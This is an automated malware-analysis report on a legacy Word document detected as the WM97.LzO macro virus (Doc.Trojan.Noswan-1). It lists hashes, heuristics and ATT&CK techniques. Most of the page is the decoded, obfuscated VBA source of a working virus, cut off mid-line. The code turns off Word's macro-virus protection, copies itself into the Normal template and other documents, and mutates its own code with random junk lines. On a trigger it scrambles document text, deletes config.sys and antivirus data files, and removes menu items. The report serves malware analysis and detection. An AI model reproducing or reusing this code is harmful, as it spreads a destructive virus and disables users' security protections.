Office (OLE) malware analysis — malicious · f80168c139d46c56

MALICIOUS

Office (OLE)

57.0 KB Created: 2007-10-09 19:55:00 Authoring application: Microsoft Word 9.0 First seen: 2015-10-02

MD5: c467bb93f44a9e6c0ecd3160b89f5090 SHA-1: eb84e29ce142faed9004e023613ee89162db11a4 SHA-256: f80168c139d46c563b0b7ac0f4309cb524e8f3c321e93cd3b4c876960259c7db

172 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, including an AutoOpen macro, which is a common technique for initial execution. The critical heuristic 'VBA macro-virus self-replication / AV tampering' suggests the macro attempts to disable Office macro protection, and the ClamAV detection 'Doc.Trojan.Noswan-1' confirms its malicious nature. The script obfuscation and the presence of 'macros.bas' further support a macro-based malware delivery.

Heuristics 7

ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Noswan-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://microsoft.com/lzo� In document text (OLE body)
- http://microsoft.com/lzoIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	17744 bytes
SHA-256: `65a8556c27526a3f0ecf60237bdac97190221b403e248f2d9124d898dbcadfc4`
Detection ClamAV: No threats found Obfuscation or payload: likely 143 of 242 identifiers look randomly generated (e.g. 'ElVwPpTmEjCxCjAjEiBtSrCwLnBnMgVlGyTuCuIp') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "user01" Sub test() Dim a End Sub Attribute VB_Name = "user02" Sub testsdsadad() Dim a As String a = "this is a test code" End Sub Attribute VB_Name = "LzO" Sub OvBeTi8453() ' -= [LineZer?'s Macro Engine 1.2] =- ' -= [WM97.LzO] =- ' -= [ID: 18880-Es-12988453-Nx.W] =- Bg = IrNsSgTwOlShLhMtOuBkLqHiEeEe & HhEuAqUeHuFfTqHgMwFxMpKuUvAnVtOsAtDsQuFhGqGhUeStSzQjEj4624278 On Error Resume Next LqAgLvPxHuVtBjEfGoKuVyHrPoFrTgSfNiBkGv = QkBlJxUt & EzOkCgJkPiDtMuPwPxSyJjMhDmBrAg13239912 WordBasic.DisableAutoMacros 0 RlPhUsPyRpFnVvQnSxOiIxEzHjUeJjMm = AjKsTuSjHwNqLiEtBuAkQhMtPeHiReRtBoLsMyMfNj & JwUwOpEjHeEoJvJsJhSpIzCpEmPhRgSiCpRtUsKuAqJyPz69134482 ActiveDocument.ReadOnlyRecommended = False RtNsOhRgFiFlSl = BpPvToEx & HyFyLmEnEvReOeJlFePtTuEgEsIpIpAtQgNoHqDkSvDjOxVsGqEz16792815 Rem TkRmTeGwDhFxAwPeIqVzQvFpNzSxDrTkDwOsVwLwCfQuThVxAqIlEgBsCwGhIlLpCh With Application PpOmJwUlQtReMjReOuMxAuChAhVjDwDxMm = AvMyKnKqJhOsLsUvAn & BoDsPtHoFg13808221 .EnableCancelKey = wdCancelDisabled FwAtRhOgTxHmSuDkAxHyJfTsCmDeDjVeVqAyJe = ArOzTfTfKmPvVoDq & HuRpCkCqKyClIiJuGqAtNfDuCgJtRmDrOlEvLsOnQzVfQfNu48649111 .DisplayAlerts = wdAlertsNone DqMlOfNrEoGzGzIwAlHxTxVsCwEfVxCtOkIr = DpQlIiUgQhNkSvTiFsPeUlRgOtQlMzGeFqSvUvJv & UjQiEuHiNlKmSx66483761 End With JhNoJtVtPqCrEkBl = FgOmHwQgHuKzEgUjPpDvFvCpJeDpGxQeGfEzDjVq & EzTmVgUjSjCeBqKwBxOpAfIlKiLsJxBpQxOr39182692 With Options OgNpExMfEwBlTzGkLiBjShBuTrVxLgJrHz = GxJe & FzLnSoPxDgTvLzQhUgDfShKhGmDwFyVvCiUzPsVuByKeDwIgBzFp15035250 .ConfirmConversions = False Nk = UfFgAjOvMhPkQpCoJqOfBuIoEuAmDjRyTe & Lz9326337 .VirusProtection = False QsLjDtKzCyKqVrTyKgMgSjHnAgDlHxDyHlDoSf = JmDmNjUiRg & OkEjAxPzAiTrPrBfVuAjKfMfFsHpAxHeChBwPxJm84914115 End With VfHjCiLzRrUpVnHqHfHmQsMfCm = SzIoFkQfKeHuLgPuNfBiDjLsJjJyUs & JhKuFyFzViDfQpMfHvCwFxUrTsTgHpJoQrHyOxSjEz12041835 'This is an improved version of APMRS called SOPS by me :) KvBuLmFnJhFgKnIj = GeQwVlEjOjOxKjKnNeCeMjEfQmMeGf & ToFpGo78235671 Randomize FvGsSvMuFnLwEyIkMrKiFpAePoVr = CmBkJuLmEoFvChDxCwTwKh & MxOtGgSlVjSiKyPuDhUyJx35652905 ActiveLines = Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule.CountOfLines QyOkPuHsGrLuGpFtQlCqElDqDtUsRqSg = RwQtPwOwItAwNnThAvLwIvHhEmSwAf & VyQkQuPpCgBhSvNhClOhUzFeVxPk66044032 If ActiveLines > 300 Then PuBvFqRvUnDvDgNiMgCtKsLwEgEuRjVwFoFg = PoHqSuEzPfGqSjNnIkGvPtBvBtEiPqOzEjNjQwQkBgLlKk & BtBfPlEfLmHeHhBgOlFnHiOv1143301 With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule HxCgGrVjVgCiPo = GxFqOkRsSgHiLf & AvBxIiLoAkSjEjEqDzTyJeCtElHxIvMjLjFsGwAwTmAeVeKjRqAoFjCoTsTp381067 For TheLine = 1 To .CountOfLines SeTo = VtAeDrDoTvRkHfMmEyLuArGlQjAk & KrUnItOsDeQjHrVsFxKmThUeExOxOxOpAwDvHiUwCgNs97001722 If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine Jr = JwTgNoJnReKiLlAmTxVlClFnGmElMsGjLvCqKkLtNvFkVo & HmQeIiPlJx41331178 Next TheLine GjBrAgAmIvBgLeNzDoTqNrUfFyCmRyPkEzQw = MyEeMgKuSwSyQvKyKxLkGiNrTpGt & JqDgGg76954652 End With RtDoOyHhKmAw = Rx & DiNpQsKzHtNoCpTpAuFjIxCy35438441 Else FlAgHiLeQuOyTpByQgDxThPqDmQlRjGxHjTiBk = AhPqSqGzEq & HzVgCkKuIkHsGlKzKj26615026 With Application.VBE.ActiveVBProject.VBComponents("LzO").CodeModule FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 PolySize = Int(Rnd * 10) Rem IyEySlOnDk Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 For PolyMorphic = 1 To PolySize OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 PolyString = "" DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 PolyLines = .CountOfLines VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 RndLine = Int(Rnd * PolyLines) + 1 DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 StringSize = Int(Rnd * 39) + 1 KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 For SomeString = 1 To StringSize OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22)) CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 Next SomeString PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 .InsertLines RndLine, "Rem " & PolyString NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Next PolyMorphic QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 End With FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 Rem ToMfOoRpLePsEuEfKqNrQuTnCmNxKrLiMtSeTyNnLeIyUpBhPuVjVuKzCsHu End If Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 CM525 = GetSetting("LzO", "ICounter", "Count", "") OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 If CM525 = 100 Then DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 ActiveDocument.FollowHyperlink Address:="http://microsoft.com/lzo", NewWindow:=False, AddHistory:=True VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Dim a As Variant DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 Dim b As Variant KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 Selection.Wholestory OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 a = Selection CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 For i = 1 To Len(a) PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 b = Mid$(a, i, 1) NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 c = Asc(Mid$(a, i, 1)) QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 d = c + 29 FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 If d > 199 Then c = 30 Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 e$ = e$ + Chr(d) OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 Next i DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 Selection.Wholestory VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Selection.Cut DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 WordBasic.Insert e$ KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 Kill ("c:\config.sys") OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 Call QuDtIh9752 CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 End If PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Application.CommandBars("View").Controls(6).Delete NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Application.CommandBars("Format").Controls(12).Delete QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 Application.CommandBars("Tools").Controls(12).Delete FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 Application.CommandBars("Tools").Controls(13).Delete Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 End Sub Sub QuDtIh9752() OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 On Error Resume Next DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 Kill ("C:\PROGRAMME\TBAV\TBAV.DAT") VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 Kill ("C:\TBAV\TBAV.DAT") DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 End Sub Sub Es1298() KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 On Error Resume Next OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 Application.EnableCancelKey = wdCancelDisabled CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 With Options Rem GtKrOsPlBmOlSnIuUeOvVtJiVwIgCjTqKvFjOrRjVjSmMlIrBmHoDtRnRwTrGzKqCyHsEfOlJqMvNe PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 .SaveNormalPrompt = False NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 .VirusProtection = False QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 .ConfirmConversions = False FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 End With Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 Application.VBE.ActiveVBProject.VBComponents("LzO").Export "C:\LzO.sys" OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 With Dialogs(wdDialogFileSummaryInfo) DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 .Author = Chr(74) + Chr(97) + Chr(99) + Chr(107) + Chr(32) + Chr(84) + Chr(119) + Chr(111) + Chr(102) + Chr(108) + Chr(111) + Chr(119) + Chr(101) + Chr(114) + Chr(32) + Chr(45) + Chr(61) + Chr(91) + Chr(76) + Chr(105) + Chr(110) + Chr(101) + Chr(90) + Chr(101) + Chr(114) + Chr(216) + Chr(32) + Chr(86) + Chr(120) + Chr(32) + Chr(84) + Chr(101) + Chr(97) + Chr(109) + Chr(93) + Chr(61) + Chr(45) VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 .Comments = "WM97.LzO" & Chr(32) + Chr(98) + Chr(121) + Chr(32) + Chr(76) + Chr(105) + Chr(77) + Chr(69) + Chr(32) + Chr(49) + Chr(46) + Chr(111) DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 .Keywords = "LiME ID: 18880-Es-12988453-Nx.W" KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 .Execute OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 End With CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 For x = 1 To NormalTemplate.VBProject.VBComponents.Count PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 If NormalTemplate.VBProject.VBComponents(x).Name = "LzO" Then VgEpSe1330QuDtIh1298 = True NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Next x QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 For y = 1 To ActiveDocument.VBProject.VBComponents.Count FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 If ActiveDocument.VBProject.VBComponents(y).Name = "LzO" Then DvVsAk7799OvBeTi8453 = True Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 Next y OqSwSpHrKhNkGxKeRhVnCuAf = MuIuBj & RuDvPrSvLtCiAvHqGvHkDeEfBoSrUoIrGnCgTiLuFePwOsPzMuNoNkLw80352493 If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = False Then Set OtRnBt7890QuMxDr9752 = ActiveDocument.VBProject DmKiUrMtJzNmFjNrNoIg = DzTpBqIuIfAyRuKkHnDsSrDwSyGoRtEfKyAnJqBwEuRnBqGq & QhMvVmHvGyDsEmOrPnVqQfMlFxFwEvKuVeRiEgNxIrFkClFlNw77849913 If VgEpSe1330QuDtIh1298 = False And DvVsAk7799OvBeTi8453 = True Then Set OtRnBt7890QuMxDr9752 = NormalTemplate.VBProject VxFgJtKeBg = EyTtNlUhIrVuLyBgAsRsDoUpMsLsUnDiSuDzSnKr & QgOjFfUlPoQzFfKvDs26148788 If VgEpSe1330QuDtIh1298 = True And DvVsAk7799OvBeTi8453 = True Then GoTo Ende_ DsTi = MjGeAhTeTlFnJmBvHpSeSjVrQw & SmOlMeAsNkMg84097368 OtRnBt7890QuMxDr9752.VBComponents.Import "C:\LzO.sys" KqDhOnUfJsOw = TgOtGnBiQpSkSwApLxKoIhNqBkJfAjUhIiOtFhNtCgBoLq & GsBxPeMlCyNkKoCgGqIoJsFr52038351 If DvVsAk7799OvBeTi8453 = False Then ActiveDocument.SaveAs (WordBasic.[FileName$]()), FileFormat:=wdFormatDocument OeOiFyUmFfFt = MvUeLnEyQjIj & KnDhBoJhQpAsOqToExLeFzLjIrPfJzSi6564822 If VgEpSe1330QuDtIh1298 = False Then NormalTemplate.Save CwDuNoQiKgIw = PsPsVs & JgDnSfIhEoFgMeClDhCrGj72226947 Call Nx1330 PnPgLwGsQzVm = FfJuNzQrUwJtNzDqPhDmVzQqSn & BxCeCuEuTuJqEpQlAuMhUkVjBhAuRuKvInNjBmJzIrVgNiBeJx7132170 Ende_: NlKxExMkTzHsOwThAjGuUiBpRfRxPoAjGiMxDqBf = ItIlKpRjEoEeGzKxNsCkHnIqQiIt & ShMtMlHqBkCiFgLiPsRyPxMvMzMgDvGqTs98511467 Call OvBeTi8453 QxKePhRlTlLsNiNnEvDz = GyHtDmHlIuRmPiVeDxAgMzJrUuSwPiBq & MpFxAfNtAqUyQqRtTePfSlRrPkGsPwRlPn38784969 End Sub Sub Nx1330() FuPrAfPpQxJmIyDeCkFxTsOgKzLfOk = SzOwNgRoDuNiTzRgQf & TmOyTtOuFzKfUyKeAqOvJiSkQjOiKeTmMySxVsPiQzSzEnVkFs98918780 On Error Resume Next Vl = TsBqOqBjVnIgOmFlKrVjKoItSmOsPrFgFqGvBeBxTgNgIy & AeKxKrKfRzTyIqGgAhLyDuSkOgTxFfGuRnAqHzPgTzDxRjKfGo96284048 CM525 = GetSetting("LzO", "ICounter", "Count", "") HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606 If CM525 > 100 Then SaveSetting "LzO", "ICounter", "Count", "1" ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141 CM525 = GetSetting("LzO", "ICounter", "Count", "") OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305 CM525 = CM525 + 1 UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599 SaveSetting "LzO", "ICounter", "Count", CM525 MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129 End Sub Sub AutoOpen() DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986 On Error Resume Next DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943 Call Es1298 TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506 Call OvBeTi8453 OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504 End Sub Sub AutoNew() DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821 On Error Resume Next TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913 Call Es1298 NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911 Call OvBeTi8453 AfFvTgIx = DfRmBrCiDrLkJkDxPhFmCwFwUrHnTn & CqBeKtTvSxQeQjAiIfOgNsKpCvBqVmBfFkFqAmBxJzSvKmJjFx70928467 End Sub Sub DateiNeu() GoBvSrKxStFlBnMwAqGqHtHpRnUfCnHiHlPz = IfEkNmKpAvEeMmVjKjNuBgEvVxGuCeBjHpFkHtQtGwArNlGsAx & FzNhVuOqBrBgAyRgStLiUjUsInOeBhBsMfTjAiEpArRjHlPxFmQp78035265 On Error Resume Next OpFrNsNoNn = PsJqCePzGhMj & MgRzDeCpVkTgSiPwVfRmPoVrIiNpNtDuNq25583438 Dialogs(wdDialogFileNew).Show OxDgHhPsAgOqGgKgNxLoIiOePsRlTtNt = OxBqFoIwDjAsOoHiVkUyJkRzDf & DxOrFlTkMuMuDfPiEfEfDuBvOeOrTrAmLgSqEtIl4755104 Call Es1298 HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606 Call OvBeTi8453 ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141 End Sub Rem QmJjKlSgGlKrNpCrFtTiFjIePqHtQiBhUeOhQvAhNuJpPvAtKoDhFuEvSnFnSo Sub DateiSpeichern() OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305 On Error Resume Next UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599 Call Es1298 MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129 Call OvBeTi8453 DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986 ActiveDocument.Save DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943 End Sub Sub BearbeitenErsetzen() TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506 On Error Resume Next OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504 Call 